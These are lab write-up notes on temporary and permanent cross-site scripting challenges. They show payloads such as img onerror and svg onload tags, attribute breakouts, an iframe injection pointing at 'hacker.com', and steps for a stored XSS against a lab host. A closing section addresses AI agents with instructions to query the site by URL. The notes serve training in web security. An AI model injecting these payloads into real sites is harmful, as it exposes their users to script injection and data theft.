# Temporary XSS

<figure><img src="/files/nNZURI9IuFuDau2rUO8I" alt=""><figcaption></figcaption></figure>

Xss isnt always in a text field, it can directly be in the URL

```
xss<img src="" onerror=alert(0)>
```

Exploitation doesn’t need \<script> tags, js can be executed with js events too like onclick, onload, onmouseover etc

```
<img src="" onerror=alert(0)>
```

`<svg onload=alert(0)>`

<figure><img src="/files/A5lG1efxBP6W1qwjAVYY" alt=""><figcaption></figcaption></figure>

## Temporary XSS 2

inject HTML/JS and generate 'xssed' alert pop up.

<figure><img src="/files/jd1YQN0g8EdW0fSWPWyd" alt=""><figcaption></figcaption></figure>

As our data is going inside the attribute of the input tag :

`<input value="HERE">`

What every you type will become the value of the Button and not execute.

But, if you break using this tag : “> YOUR MALICIOUS CODE and inject your own code after:

`<input value=""> <script>alert("xssed")</script>">`

You notice how input tag is closed and you successfully inject a script tag which will work

<figure><img src="/files/A8LVJiqKEiEV8mJbUdeN" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/X0B9ykejXPbLXjeky36Q" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/GuQ7kt9DxUmJjG8D4TZJ" alt=""><figcaption></figcaption></figure>

## See if you can bypass protective filters and generate alert pop up.

<figure><img src="/files/2Ee5wPq3AkoisYvVFBm6" alt=""><figcaption></figcaption></figure>

Tags are blocked but as out data is going inside an input tag:

```html
  <iframe src="[HERE]">
```

Just like sqli we can chose the already existing " and add our own html to the input tag

If we enter the payload abcd" onload="alert('xssed') this is how it would appear

```html
<iframe src="abcd" onload="alert('xssed')">
```

This makes the value abcd and the moment iframe loads, you will get the popup

<figure><img src="/files/WSAMOnlBZLReJ4tdxlUv" alt=""><figcaption></figcaption></figure>

## See if you can use the input field to cause harm to the user of this website

<figure><img src="/files/gkiapPzrQtw6Z6A8jV0X" alt=""><figcaption></figcaption></figure>

As our input is simply appended into the \<h1> tags, we can pass our own html in the user\_name parameter and that HTML/JS will get appended to the output.

<http://url/hello.php?user\\_name=\\><a>hacked\</a>

<http://url/hello.php?user\\_name=\\><iframe src=”hacker.com”>\</iframe>

## See if you can use your knowledge of JavaScript to cause harm to the user of this website.

<figure><img src="/files/TPky6F5wdTOyM3YFqICl" alt=""><figcaption></figcaption></figure>

Xss isnt always in a text field, it can directly be in the URL

Exploitation doesn’t need \<script> tags, js can be executed with js events too like onclick, onload, onmouseover etc

\<img src="" onerror=alert(0)>

\<svg onload=alert(0)>

<figure><img src="/files/4BZhtpXYAQpiwC4Q2NEk" alt=""><figcaption></figcaption></figure>

## See if you can execute javascript and generate alert pop up in the 'Products' page.

<figure><img src="/files/Ubkc6qx9wbEec629ZC94" alt=""><figcaption></figcaption></figure>

Step 1: Go to the hacking challenge (The URL will be different for each user). <http://13.232.74.70/Cross-Site-Scripting/Permanent-XSS-Variant-3/> Step 2: Click on 'Login as A Seller' button. Step 3:Enter the payload "> in 'Seller Address' input field Step 4: Click on save changes. Step 5: Now click on ‘Show Products’ button to view the XSS Pop up. Now anybody who browses the products will be affected by the payload hence ‘Seller Address’ field is vulnerable to permanent XSS.

<figure><img src="/files/0yz1O75rdsObubbX5Mmn" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/wk642GudxNHiSWHAdGYd" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://c01d43am.gitbook.io/ethical-hacking/fundamentals-of-cross-site-scripting-xss/temporary-xss.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
